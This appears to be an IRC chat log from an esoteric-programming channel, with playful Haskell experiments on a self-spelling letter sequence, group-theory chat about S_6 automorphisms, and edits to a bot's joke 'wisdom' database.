02:44:09 <tswett> TPT lets you have a pressure gradient in an unmoving fluid, which can't happen in real life.
02:44:21 <tswett> So clearly it's not the pressure of that fluid.
02:44:27 <moon_> Air pressure
02:44:30 <moon_> its air pressure
02:44:31 <tswett> And besides that, areas that are "empty" still have pressure.
02:46:26 <tswett> I can't tell whether it passes through solids or not.
02:46:47 <tswett> You can have a chunk of ice with a pressure of -11 in the middle, and it just stays at -11, which makes it seem like pressure can't pass through solids.
02:47:06 <moon_> TPT pressure is reallllly strange
02:47:20 <moon_> it DOES pass through any solids (besides TTAN and WALL)
02:47:44 <tswett> So why does ice maintain pressure like that?
02:47:50 <moon_> Idk
02:48:12 <moon_> but pressure goes straight through GOLD and other solids
02:48:48 <moon_> ill consult the almighty wiki
02:49:14 <moon_> ICE does not hold pressure
02:50:53 <hppavilion[1]> I wonder how long it is until Microsoft puts ads in the title screen of Minecraft
02:51:27 <moon_> Idk
02:51:32 <moon_> lets all hope they dont
02:51:45 <moon_> it would PREVIOUSLY be a good game then
02:51:46 <moon_> plus
02:51:53 <moon_> minecraft is in java
02:52:04 <moon_> ads in MC title screen = Anti-ad md
02:52:08 <moon_> *mod
02:53:33 <hppavilion[1]> moon_: They'd add "Don't remove our ads with a mod" to the ToS
02:54:15 <hppavilion[1]> moon_: Because, of course, just because you've legally purchased the software, they can still tell you what you can and cannot do with it even for your own personal use
02:57:00 <tswett> Oh, look at this. Even empty space can have a pressure gradient.
02:57:34 <tswett> It's like somehow the ice is sucking up huge amounts of air.
02:58:30 -!- moon_ has quit (Ping timeout: 250 seconds).
02:59:38 <tswett> Yeah, there's definitely a whole lot of negative pressure being generated here.
03:06:01 <hppavilion[1]> Hm... I wonder if a FOSS community could pull off a Minecraft-like game that doesn't turn out terrible and doesn't feel like it's become a cash cow rather than a fun project for the devs
03:10:52 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
03:16:47 <deltab> I think Truecraft aims to be that
04:43:43 <Cale> Plan to be moddable and modular from the outset
04:45:33 <shachaf> i,i cash-oblivious software
04:47:44 <Cale> lol
04:49:33 <tswett> What's this channel's first occurrence of "i,i"?
04:49:52 <shachaf> This channel doesn't exist.
04:50:02 <shachaf> `? #esoteric
04:50:06 <HackEgo> ​#esoteric is the only channel that doesn't exist. After monqy left it became slightly off-centër. It's about 30 m (100 ft) across. oerjan seems to be making a lawn in the northern part, but it keeps getting dug up by free ranging moons. May contain crude drawings of nuts.
04:50:56 <tswett> Proposal: it's about 100 m (30 ft) across. Hth.
04:51:13 <shachaf> That would be inaccurate.
04:51:33 <shachaf> Cale: Can you think of any good pointless topology puns for my recent wisdom entries?
04:51:44 <tswett> How accurate is the wisdom entry for i,i?
04:52:36 <shachaf> The important question is how inaccurate it is.
04:52:51 <shachaf> `? frame
04:52:53 <HackEgo> A frame is just a complete Heyting algebra. Frame homomorphisms don't preserve implication, if you know what I mean.
04:52:54 <shachaf> `? locale
04:52:56 <HackEgo> Locales are just frames, which are just complete Heyting algebras. Taneb accidentally invented them by asking about lattices. The only locale available in #esoteric is en_NZ.UTF-8.
04:53:04 <shachaf> `? pointless topology
04:53:06 <HackEgo> Pointless topology is the kind of topology Taneb invents.
04:53:07 <shachaf> `? sober space
04:53:10 <HackEgo> Sober spaces are the dual of Stoned spaces. Taneb invented them.
04:53:12 <shachaf> `? stone space
04:53:14 <HackEgo> Stone spaces were invented by P. T. Barnum as a hoax.
04:53:18 <tswett> `? barnum
04:53:20 <HackEgo> barnum? ¯\(°​_o)/¯
04:59:08 <Cale> `? i,i
04:59:10 <HackEgo> i,i i,i what is i,i
05:03:47 <Cale> > iterate (>>= (\c -> case c of 'i' -> "i,i"; ',' -> " is "; 's' -> "ksk"; x -> [x])) "i"
05:03:49 <lambdabot> ["i","i,i","i,i is i,i","i,i is i,i i,iksk i,i is i,i","i,i is i,i i,iksk i,...
05:05:54 -!- hppavilion[1] has joined.
05:26:28 <tswett> That reminds me of that infinite self-spelling sequence...
05:27:23 <tswett> cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, a, comma, space, es, pee, a, cee, e, comma, space, e, comma, space, cee, ...
05:53:21 <izabera> is there a better way to generate that sequence without appending to a string?
05:58:37 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
06:05:19 <zzo38> I don't know. I think I have seen stuff like that before (and have made up stuff like that before too), but not quite that one.
06:08:29 <zzo38> If I make a puzzle game of the kind that satisfies the following: rules :: Command -> Puzzle -> Either Bool Puzzle; isSolution :: [Command] -> Puzzle -> Bool; isSolution [] _ = False; isSolution (h:t) x = either id (isSolution t) $ rules h x; and the current state of the puzzle is always fully visible to the player. What is this kind of rules called?
06:09:25 <zzo38> (I do not mean to imply that it is necessarily programmed in Haskell, but the notation of Haskell seems useful to describe what I am trying to describe here.)
06:30:35 <Cale> > let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")]; describeString s = intercalate ", " (map describeChar s) in fix (\xs -> ' ' : describeString xs) -- not quite, but almost
06:30:37 <lambdabot> " space, es, pee, a, cee, e, comma, space, e, es, comma, space, pee, e, e, c...
06:32:41 <Cale> > let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")]; describeString s = intercalate ", " (map describeChar s) in fix (\xs -> describeString ('c' : xs)) -- also not quite
06:32:43 <lambdabot> "cee, cee, e, e, comma, space, cee, e, e, comma, space, e, comma, space, e, ...
06:35:52 <Cale> oh, right...
06:36:13 <Cale> > let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")]; describeString s = intercalate ", " (map describeChar s) in map head . transpose . iterate describeString $ "c"
06:36:15 <lambdabot> "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ...
06:36:35 <Cale> there we go :)
06:37:48 <Cale> izabera: ^^ got it
06:40:14 -!- hppavilion[1] has joined.
06:40:40 <hppavilion[1]> tswett: OK, that's weird
06:43:03 <hppavilion[1]> "A prison escape or prison break is the act of an inmate leaving prison through unofficial or illegal ways."
06:52:38 <izabera> Cale: do you mind writing it in a normal language?
06:53:27 <hppavilion[1]> "in Singapore caning is permitted for boys only"
06:56:22 <zzo38> Do you know why?
06:59:08 <hppavilion[1]> zzo38: Because the people in charge in Singapore are sexist assholes?
06:59:55 <izabera> do you want to permit caning on girls too?
07:00:12 -!- lambda-11235 has quit (Quit: Bye).
07:00:12 <hppavilion[1]> izabera: No, but I'd rather it be both or neither
07:09:06 <hppavilion[1]> I just started https://www.youtube.com/watch?v=Rk2SuWwwdMk and now I'm immediately planning to move to Russia
07:09:41 <hppavilion[1]> Oh, or any other Nordic country (Norway, Finland, Sweden)
07:10:24 <hppavilion[1]> For reasons given by various maps
07:18:17 <hppavilion[1]> Hm, the quality of software used tends to go down as the GDP of a nation goes up
07:28:49 -!- oerjan has joined.
07:35:06 <zzo38> Apparently the reason why the character ROM on CGA has two unused address bits is because the same ROM contains the MDPA patterns, so that both cards can use the same ROM.
07:43:01 -!- Kaynato has quit (Ping timeout: 240 seconds).
07:45:17 <pikhq> zzo38: Was it a mask ROM?
07:45:22 <pikhq> Because that makes me suspect that.
07:56:34 <oerjan> `? implication
07:56:46 <HackEgo> implication? ¯\(°​_o)/¯
07:56:50 <Cale> izabera: What's a normal language? This relies on lazy evaluation...
07:57:09 <oerjan> `learn Implication is a useful rhetorical device, if you know what I mean.
07:57:09 <izabera> normal as in readable by humans <.<
07:57:12 <HackEgo> Learned 'implication': Implication is a useful rhetorical device, if you know what I mean.
07:57:12 <Cale> I program in Haskell for a living...
07:57:20 <izabera> clearly not human
07:57:42 <Cale> I can explain the Haskell if you want
07:57:53 <izabera> thanks :D
07:58:07 <Cale> @let describeChar c = maybe "" id . lookup c $ [('c',"cee"),('e',"e"),(',',"comma"),(' ',"space"),('o',"o"),('m',"em"),('a',"a"),('s',"es"),('p',"pee")]
07:58:08 <lambdabot> Defined.
07:58:44 <Cale> So this function just does what it looks like, giving a string that describes the given character, or the empty string if it's not found in the list (though that never happens)
07:58:53 <Cale> > describeChar ','
07:58:55 <lambdabot> "comma"
07:58:59 <izabera> ok
07:59:13 <Cale> @let describeString s = intercalate ", " (map describeChar s)
07:59:14 <lambdabot> Defined.
07:59:39 <Cale> This describes a string by applying that function to each character in it, and then sticking ", " in between each of the things it got, concatenating the results
07:59:49 <Cale> > describeString "cee"
07:59:50 <lambdabot> "cee, e, e"
07:59:57 <izabera> ok
08:00:19 <izabera> so this is actually creating the same infinite string
08:00:32 <izabera> and it's using the same amount of space
08:00:40 <Cale> > iterate describeString $ "c"
08:00:41 <lambdabot> ["c","cee","cee, e, e","cee, e, e, comma, space, e, comma, space, e","cee, e...
08:01:21 <Cale> iterate f x = [x, f x, f (f x), ...]
08:01:33 <Cale> it just applies the function over and over, giving an infinite list of the results
08:02:22 <izabera> yeah but i was hoping for a solution that didn't require infinite memory
08:02:23 <Cale> Now we do something quirky and transpose this list of lists, which is actually going to get us a list of infinite strings
08:02:41 <Cale> > transpose . iterate describeString $ "c"
08:02:42 <lambdabot> ["cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc...
08:03:01 <Cale> The first element of every one of the strings is after all c...
08:03:05 <izabera> ok
08:03:08 <Cale> > take 5 . transpose . iterate describeString $ "c"
08:03:09 <lambdabot> ["cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc...
08:03:11 <Cale> oops
08:03:14 <hppavilion[1]> OK, how the hell does OEIS choose sequence numbers?
08:03:16 <Cale> > map (take 5) . transpose . iterate describeString $ "c"
08:03:17 <lambdabot> ["ccccc","eeeee","eeeee",",,,,,"," ","eeeee",",,,,,"," ","eeeee",",,...
08:03:25 <izabera> hppavilion[1]: user submitted
08:03:40 <Cale> But of course, these infinite strings are lazily constructed, and we're really only interested in the first element of each
08:03:44 <hppavilion[1]> izabera: No, as in what the A-code is
08:03:49 <Cale> > map head . transpose . iterate describeString $ "c"
08:03:51 <lambdabot> "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ...
08:04:07 <izabera> Cale: but you still need unbounded memory x.x
08:04:15 <shachaf> @where pi_10
08:04:15 <lambdabot> (!!3)<$>transpose[show$foldr(\k a->2*10^2^n+a*k`div`(2*k+1))0[1..2^n]|n<-[0..]]
08:04:29 <hppavilion[1]> Why is Fibonacci A000045?
08:04:43 <izabera> hppavilion[1]: first come first served
08:04:50 <hppavilion[1]> izabera: Ah?
08:04:57 <zzo38> pikhq: I don't know if it is mask ROM or what it is
08:05:25 <hppavilion[1]> izabera: Then the first person to add one (A000001) was rather focused on Group Theory
08:05:52 <hppavilion[1]> Like, I'd think A000001 would be, I dunno, the empty sequence, or the natural numbers, or something like that
08:05:52 <oerjan> > fix (('c':).drop 1.describeString)
08:05:54 <lambdabot> "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ...
08:06:19 * oerjan vaguely assumes that's what Cale started with
08:06:37 <Cale> > map head . transpose . iterate describeString $ "c"
08:06:38 <lambdabot> "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ...
08:07:02 <shachaf> oerjan: now golf pi_10 twh
08:07:14 <izabera> `? twh
08:07:15 <Cale> oerjan: ah, haha
08:07:21 <HackEgo> twh would help, but is an hth derivative. hth. twh. hand.
08:07:28 <Cale> oerjan: That's the easy one I was looking for initially
08:08:20 <Cale> (but couldn't quite find it -- in hindsight, that's obviously where the drop 1 needs to go :)
08:08:55 <hppavilion[1]> thissbnioaiaaoyuwswai
08:09:15 <hppavilion[1]> "that helps in some scenarios but not in others and I am as of yet unsure which scenario we are in"
08:10:41 <hppavilion[1]> `? this sentence
08:11:05 <hppavilion[1]> How do you generate one of those self-counting sentences I wonder?
08:11:07 <Cale> izabera: There is probably a way to compute the nth element in O(log n) space...
08:11:07 <HackEgo> This sentence was not invented by Taneb. Taneb invented it.
08:11:25 <hppavilion[1]> It seems like it would be NP
08:11:27 <oerjan> hppavilion[1]: constraint programming?
08:11:34 <hppavilion[1]> oerjan: I guess?
08:11:52 <hppavilion[1]> Like, you could make an algorithm that will generate some such sentences, but not one that will generate al
08:11:54 <hppavilion[1]> *all
08:12:19 <hppavilion[1]> "cannot" is a stupid word
08:12:24 <oerjan> hppavilion[1]: well you can do some math to find bounds on what the counts can be.
08:12:26 <hppavilion[1]> "x cannot perform action a"
08:12:34 <hppavilion[1]> oerjan: "a dozen"
08:13:11 <oerjan> and then you can do constraint programming to prune it all down.
08:13:12 <hppavilion[1]> It means "x is incapable of performing action a", but it feels like it should be read "x is capable of not performing action a"
08:13:30 <oerjan> or one of those SMT solvers which i've never used.
08:13:43 <oerjan> (which i guess is a form of constraint programming)
08:14:44 <oerjan> basically, those solvers can solve essentially all NP problems that aren't _designed_ to hit the hard cases.
08:14:48 <oerjan> afaiu
08:15:44 <oerjan> not sure if they can list all solutions (assuming there's a reasonable number, which i assume is the case with those self-counting things)
08:18:12 <oerjan> <hppavilion[1]> izabera: Then the first person to add one (A000001) was rather focused on Group Theory <-- perhaps it was just that sequence that gave em the idea that there needed to be such a site
08:19:00 <shachaf> speaking of groups what's with S_6?
08:19:57 <oerjan> <Cale> izabera: There is probably a way to compute the nth element in O(log n) space... <-- i think your iterated version might count, with enough garbage collection.
08:20:16 <izabera> seems unlikely...
08:20:31 <Cale> Yeah, I don't think it does...
08:21:30 <oerjan> hm...
08:22:11 <oerjan> well, the idea is that you'd really want to generate copies of the sequence in "parallel"
08:22:17 <oerjan> without sharing between them.
08:22:34 <oerjan> so not _exactly_ that version, but something similar.
08:25:13 <Cale> hmm, yeah
08:25:14 <oerjan> > let fix' f = f (fix' f) in fix' (('c':).drop 1.describeString)
08:25:16 <lambdabot> "cee, e, e, comma, space, e, comma, space, e, comma, space, cee, o, em, em, ...
08:25:43 <oerjan> like that, assuming that fix' avoids sharing
08:26:30 <oerjan> i guess that was my version.
08:28:03 <oerjan> or you can do it with a stack.
08:29:22 <oerjan> or wait, you need the depth.
08:33:01 <Cale> The problem is that the part of the string that you're describing and the part of the string you're constructing get arbitrarily far apart over time
08:34:13 <shachaf> why is S_6 the only symmetric group that has a non-inner automorphism
08:34:28 <Cale> shachaf: Because shenanigans
08:35:13 <oerjan> Cale: yes, but as long as they're not shared with each other, you only need to keep around a bounded part of each.
08:35:20 <oerjan> and GC should do that.
08:39:57 <oerjan> now if you want it to be logarithmic _time_ as well... then you need some matrix/vector thinking.
08:39:58 <Cale> shachaf: https://en.wikipedia.org/wiki/Automorphisms_of_the_symmetric_and_alternating_groups#No_other_outer_automorphisms has a quick explanation
08:41:55 <hppavilion[1]> octomorphism
08:42:37 <shachaf> Why are groups so complicated?
08:42:41 <Cale> shachaf: Basically it comes down to the coincidence that the number of transpositions, i.e. the conjugacy class containing (1,2) in S_6, happens to have the same size as the conjugacy class containing (1,2)(3,4)(5,6)
08:42:42 <hppavilion[1]> sesquimorphism
08:42:57 <Cale> 15 elements each
08:44:15 <Cale> Why are prime decompositions so complicated? It's that problem, only worse.
08:44:32 <oerjan> <shachaf> i fell into the oerjan trap <-- . o O ( sometimes he sets traps without knowing )
08:44:44 <hppavilion[1]> (it's somewhere between a monomorphism and a bimorphism)
08:45:09 <shachaf> oerjan: Obviously an "oerjan trap" is designed to trap oerjans.
08:45:14 <oerjan> ah.
08:45:48 <lifthrasiir> I'm working on expanding https://oeis.org/A121064
08:45:49 <oerjan> `? tanebventions
08:46:05 <HackEgo> Tanebventions include D-modules, Chu spaces, automatic squirrel feeders, necessity, the torus, Stephen Wolfram, Go, submarine jousting, the universe, weetoflakes, persistence, the reals, Lambek's lemma, histograms, the BBC, progress, and this sentence. He never invents anything involving sex.
08:46:17 <shachaf> You can't put everything Taneb invents into tanebventions.
08:46:19 <shachaf> It won't fit.
08:46:52 <hppavilion[1]> shachaf: Perhaps we should divide it into sections?
08:46:59 <hppavilion[1]> `? tanebventions[2]
08:47:05 <HackEgo> tanebventions[2]? ¯\(°​_o)/¯
08:47:58 <oerjan> shachaf: :(
08:50:00 <hppavilion[1]> `` cp
08:50:03 <HackEgo> cp: missing file operand \ Try `cp --help' for more information.
08:50:21 <hppavilion[1]> `` cp wisdom/tanebventions wisdom/tanebventions(0)
08:50:23 <HackEgo> ​/hackenv/bin/`: eval: line 4: syntax error near unexpected token `(' \ /hackenv/bin/`: eval: line 4: `cp wisdom/tanebventions wisdom/tanebventions(0)'
08:50:32 <oerjan> hppavilion[1]: stop.
08:50:32 <hppavilion[1]> `` cp wisdom/tanebventions wisdom/tanebventions|0
08:50:34 <HackEgo> ​/hackenv/bin/`: line 4: 0: command not found \ cp: cannot stat `wisdom/tanebventions': No such file or directory
08:50:40 <hppavilion[1]> oerjan: *fine*
08:50:55 <oerjan> i suggest if we split it, we split out the math ones.
08:51:18 <hppavilion[1]> oerjan: Into tanebscoveries?
08:51:26 <hppavilion[1]> tanebulations?
08:51:37 <hppavilion[1]> taneberivations? taneboofs?
08:51:53 <oerjan> hm
08:52:04 * oerjan was just thinking adding (math)
08:52:35 <shachaf> At the rate it's growing, we'll have to split it tanebventually.
08:53:11 <hppavilion[1]> By the way, what's the International Shachaf Prototype?
08:53:22 <hppavilion[1]> (As analogous to the International Kilogram Prototype)
08:54:28 <oerjan> `le/rn tanebventions (math)/Mathematical tanebventions include D-modules, Chu spaces, the torus, Stephen Wolfram, the reals, Lambek's lemma, pointless topology, and histograms.
08:54:34 <HackEgo> Learned «tanebventions (math)»
08:54:42 -!- MoALTz has quit (Ping timeout: 272 seconds).
08:54:49 <Cale> shachaf: So the number of transpositions in S_n is (n;2) = n(n-1)/2. For S_7, for example, we have 21 transpositions, and then the sizes of conjugacy classes of elements of order 2 which could potentially be swapped with those by an automorphism if they had the same size are (7;2)(5;2)/2! = 105, and (7;2)(5;2)(3;2)/3! = 105 again.
08:55:36 <Cale> and this seems to get only worse as we go on to higher n -- probably there is an argument you could make to bound it
08:55:54 <oerjan> `le/rn tanebvention/Tanebventions include automatic squirrel feeders, necessity, Go, submarine jousting, the universe, weetoflakes, persistence, the BBC, progress, and this sentence. See also tanebventions (math). He never invents anything involving sex.
08:55:58 <HackEgo> Relearned «tanebvention»
08:56:08 <Cale> Of course, the smaller n, there are only a few to go through.
08:57:33 <hppavilion[1]> oerjan: Perhaps Go should go under math? Maybe?
08:57:56 <hppavilion[1]> `? hpstructions
08:57:57 <HackEgo> hpstructions? ¯\(°​_o)/¯
08:58:23 <hppavilion[1]> But really, what is the standard pun that is exactly equal to 1 shachaf?
08:58:57 <oerjan> <hppavilion[1]> By the way, what's the International Shachaf Prototype? <-- ask boily, he keeps doing the measurements...
08:59:40 <hppavilion[1]> @ask boily What is the International Shachaf Prototype?
08:59:40 <lambdabot> Consider it noted.
08:59:41 <oerjan> hppavilion[1]: i don't see why Go is math.
09:00:04 <hppavilion[1]> oerjan: I don't see why the torus is math
09:00:13 <oerjan> hppavilion[1]: maybe there is no prototype, they've worked hard at replacing them.
09:00:23 <shachaf> `? torus
09:00:25 <HackEgo> Topologically, a torus is just a torus. Taneb invented it.
09:00:33 <oerjan> it's topology QED
09:00:40 <hppavilion[1]> There's kind of a problem with that
09:00:46 <hppavilion[1]> IIRC, a sphere is also a torus
09:01:03 <hppavilion[1]> Where the center of the entire shape and the center of the band coincide
09:01:55 <shachaf> as the tori say: "we were spheres once, and then they torus a new one"
09:01:56 <oerjan> hppavilion[1]: the Go entry is a mixture of several things, none of which are _specifically_ math.
09:01:56 <hppavilion[1]> There's also a horn torus where the distance between the center of the band and the center of the entire shape is equal to the radius of the band and a spindle torus where the radius is less than the disstance
09:02:35 <oerjan> hppavilion[1]: i think shachaf may have shown us the prototype tdnh
09:02:41 <hppavilion[1]> oerjan: Yes
09:03:23 <hppavilion[1]> But if a sphere is a torus, then you can't really say that a cube isn't topologically equivalent to a torus
09:03:33 <hppavilion[1]> And if you can't do that, then pretty much everything is the same as everything else
09:03:38 <shachaf> A sphere isn't a torus.
09:03:42 <hppavilion[1]> Topologically speaking, everything is the same
09:03:44 <oerjan> a sphere isn't homeomorphic to a torus, it's at best a degenerate one.
09:03:48 <oerjan> hppavilion[1]: no it's not.
09:03:50 <hppavilion[1]> oerjan: Ah, yes
09:04:02 <shachaf> "homeomorphic" is a scow word.
09:04:18 <hppavilion[1]> `? gitmo
09:04:20 <HackEgo> gitmo? ¯\(°​_o)/¯
09:04:24 <hppavilion[1]> `? guantanamo bay
09:04:26 <HackEgo> guantanamo bay? ¯\(°​_o)/¯
09:04:31 <hppavilion[1]> `? ioccc
09:04:34 <HackEgo> ioccc? ¯\(°​_o)/¯
09:04:38 <hppavilion[1]> *gasp*
09:04:55 <hppavilion[1]> I'd put something there, but I'm bad at obfuscating C code
09:05:42 <oerjan> we really don't have it?
09:05:56 <oerjan> `` rgrep -i ioc wisdom
09:06:28 <HackEgo> No output.
09:06:29 <oerjan> `` rgrep -i ioc wisdom; echo Hi
09:07:03 <HackEgo> No output.
09:07:10 <oerjan> `` rgrep -i ioc wisdom; echo Hi
09:07:12 <HackEgo> wisdom/iocccclist:iocccccclist is update notification for when a new year of the International Obfuscated Contest is announced, or the winners for a year is announced, or the source codes of winners are released. http://www.iocccc.org/#news \ Hi
09:07:19 <oerjan> sheesh
09:07:59 <hppavilion[1]> `? rust
09:08:02 <HackEgo> Rust is C++ as designed by the makers of Haskell.
09:08:06 <hppavilion[1]> `? haskell
09:08:08 <HackEgo> Unbound implicit parameter (?haskell::Wisdom) \ arising from a use of implicit parameter `?haskell'
09:08:17 <hppavilion[1]> `? ruby
09:08:19 <HackEgo> Ruby is a programming language from Japan, that eventually decided to support non-ascii characters.
09:08:23 <hppavilion[1]> `? java
09:08:27 <HackEgo> java is a programming-language shaped collection of misfeatures
09:08:32 <hppavilion[1]> `? html
09:08:34 <HackEgo> HTML is short for "hope this mess loads".
09:08:43 <oerjan> `run ls wisdom/io*
09:08:47 <HackEgo> wisdom/ioccclist
09:09:08 <shachaf> `culprits wisdom/html
09:09:15 <hppavilion[1]> If rules are meant to be broken...
09:09:22 <hppavilion[1]> And we establish that as a rule...
09:10:03 <HackEgo> No output.
09:10:12 <hppavilion[1]> `? flag
09:10:22 <HackEgo> flag? ¯\(°​_o)/¯
09:10:31 <hppavilion[1]> Hm, maybe there should be `?* to glob your argument
09:12:54 <oerjan> `learn The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist.
09:12:59 <HackEgo> Learned 'ioccc': The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist.
09:13:08 <oerjan> `? oic
09:13:11 <HackEgo> oic? ¯\(°​_o)/¯
09:13:27 <hppavilion[1]> `? heck
09:13:30 <HackEgo> Heck is where you end up if you don't believe in Gosh.
09:13:42 <hppavilion[1]> `? gosh
09:13:45 <HackEgo> gosh? ¯\(°​_o)/¯
09:13:51 <hppavilion[1]> *sigh*
09:13:59 <hppavilion[1]> I wish `? had a redlink mechanism
09:14:04 <oerjan> `learn OIC, OIC means Oh I see.
09:14:07 <HackEgo> Learned 'oic': OIC, OIC means Oh I see.
09:14:26 <shachaf> `culprits wisdom/html
09:14:43 <HackEgo> oerjan oerjan fizzie
09:15:33 <oerjan> `sled wisdom/java//s/./J/;s/$/./
09:15:40 <HackEgo> wisdom/java//Java is a programming-language shaped collection of misfeatures.
09:15:53 <shachaf> Should it be "programming-language-shaped"?
09:16:33 <oerjan> hppavilion[1]: `wisdom supports globs hth
09:17:02 <oerjan> `wisdom flag
09:17:06 <HackEgo> flagpole//A flagpole is like a tadpole, but with a flag on top.
09:17:13 <oerjan> although i don't think it's in the name.
09:17:25 <shachaf> There should be a version of `wisdom that searches wisdom text.
09:17:42 <shachaf> `` ls -s wisdom | sort -rn
09:17:48 <HackEgo> As the wisdom directory contains many files named after nicks, listing it in public annoys people. Try listing it in private instead.
09:18:11 <oerjan> shachaf: If so, it needs to be safe against timing out.
09:18:16 <shachaf> `? אrjan
09:18:20 <HackEgo> ​אrjan is oerjan's first uncountable twin. He's inconsistent with the ZFC axioms.
09:20:46 <oerjan> `? ism
09:20:50 <HackEgo> ism? ¯\(°​_o)/¯
09:25:32 <oerjan> `learn Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically from portmanteaus on "schism".
09:25:35 <HackEgo> Learned 'ism': Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically from portmanteaus on "schism".
09:26:25 <oerjan> `learn Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism".
09:26:33 <HackEgo> Relearned 'ism': Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism".
09:26:53 <oerjan> `learn Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism".
09:26:57 <HackEgo> Relearned 'ism': Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism".
09:31:23 <Cale> Like faceism (sometimes spelled "fascism") and brace-faceism
09:31:41 <oerjan> i'm not familiar with the latter.
09:34:16 <hppavilion[1]> ...non-transitive dice
09:34:27 <hppavilion[1]> Non-regular dice where, on average, some beat others
09:34:32 <hppavilion[1]> But not in a nice, well-ordered fashion
09:35:14 <oerjan> hppavilion[1]: shall i find something to mop up your exploded brain?
09:35:32 <hppavilion[1]> oerjan: Yes please
09:35:51 <hppavilion[1]> I hate when people say "mind = blown"
09:35:53 * oerjan fetches the vacuum
09:36:03 <hppavilion[1]> Because their mind is not the ONLY thing in the entire world that is currently blown
09:36:09 <hppavilion[1]> (no dirty jokes intended)
09:36:35 <hppavilion[1]> Or, at least, not necessarily
09:36:42 <hppavilion[1]> So REALLY it should be mind ⊆ blown
09:37:03 <oerjan> `unidecode ⊆
09:37:06 <HackEgo> ​[U+2286 SUBSET OF OR EQUAL TO]
09:37:55 <hppavilion[1]> Oh my god
09:38:09 <hppavilion[1]> And if you double the number of dice for each option and add them
09:38:38 <hppavilion[1]> Then if die color C beats die color D on average, die color D now beats die color C on average
09:42:22 <myname> nothing new
09:43:01 <myname> there are 5 non-transitive dice that beat each other clockwise if chosen one and counterclockwise if chosen two of each
09:43:25 <myname> (each other = the next two)
09:46:09 <hppavilion[1]> myname: ...yeah. That's exactly what I was talking about
09:46:25 <hppavilion[1]> myname: The ones invented by James Grime (apparently)
09:48:16 <oerjan> bitcoin still climbing...
09:48:24 <myname> yeah
09:48:28 * oerjan doesn't actually have any, just likes to check now and then
09:48:29 <myname> good grime
09:49:32 <hppavilion[1]> oerjan: I won't be using Bitcoin until it starts to support complex and ordinal numbers
09:49:33 -!- Koen_ has joined.
09:49:51 <hppavilion[1]> Because I want to be an uncountinaire, dammit
09:50:09 <oerjan> OKAY
09:55:50 <myname> also, shouldn't it be like mind \in blown?
09:59:40 <myname> because clearly, mind is not a set
10:06:31 <Koen_> experts in the field have been struggling for decades, if not centuries, trying to understand what the mind is
10:06:44 <Koen_> and you dare use the word "clearly" speaking about it?!
10:07:24 <Koen_> even hofstadter did not write down the sentence "clearly there are strange loops in the mind"
10:09:22 <myname> well, i can say the mind clearly is not a potato
10:09:28 <myname> nothing wrong with that
10:09:39 <oerjan> that's what YOU think
10:10:25 <oerjan> <hppavilion[1]> shachaf: ...was that a pun? <-- yes.
10:11:54 <shachaf> I should've said "star wars", though.
10:12:27 <oerjan> wat.
10:13:31 <oerjan> what do you jabba bout
10:16:54 <oerjan> <shachaf> i,i cash-oblivious software <-- squee
10:25:01 <Koen_> "i,i-word" looks like an organic molecule name
10:28:07 <b_jonas> `bardsworthlist 2016-06-13
10:28:12 <HackEgo> bardsworthlist 2016-06-13: b_jonas
10:34:53 <hppavilion[1]> myname: See: Portal 2
10:35:15 <hppavilion[1]> myname: And I would argue that the mind is definitely a set
10:35:24 <hppavilion[1]> bardsworhtlist?
10:35:46 <hppavilion[1]> It's at least a better approximation to call the mind a set than a single object. I guess.
10:36:11 <hppavilion[1]> Well, I guess you could treat the mind as an isolated set so it is a set within the set of blown things
10:37:02 <hppavilion[1]> myname: But it makes more sense to treat minds as a set of things that are in the toplevel of blown; it might make more sense to make it a single object for a /human/ mind, but I'm fairly certain you could have two minds that share certain parts but separate others
10:37:29 <myname> hppavilion[1]: what are the elements of a mind?
10:37:44 <hppavilion[1]> myname: Not sure; it probably varies by the mind
10:43:25 <hppavilion[1]> myname: A mind is just a bunch of stuff out of a grab bag
10:43:45 -!- MoALTz has joined.
10:46:27 -!- MoALTz__ has joined.
10:49:54 -!- MoALTz has quit (Ping timeout: 244 seconds).
10:54:34 <hppavilion[1]> My internet capped out so I'm on the lowest speed my ISP offers
10:54:51 <hppavilion[1]> But the video I'm watching seems like the kind of thing it'd be a sin to not watch in AT LEAST 360p
10:55:51 -!- xkapastel has quit (Quit: Connection closed for inactivity).
11:07:31 <oerjan> this king in girl genius does not seem altogether sane.
11:17:24 <int-e> . o O ( that seemed unlikely ever since last wednesday )
11:39:42 -!- boily has joined.
11:40:13 -!- Koen_ has quit (Remote host closed the connection).
11:42:32 -!- Koen_ has joined.
11:50:11 <hppavilion[1]> Roll to decide whether to play DnD
11:52:32 -!- Phantom_Hoover has joined.
11:57:38 <oerjan> int-e: well he _could_ have been just confused. and possibly betrayed. but now i'm starting to think his insanity is the main reason he was put there.
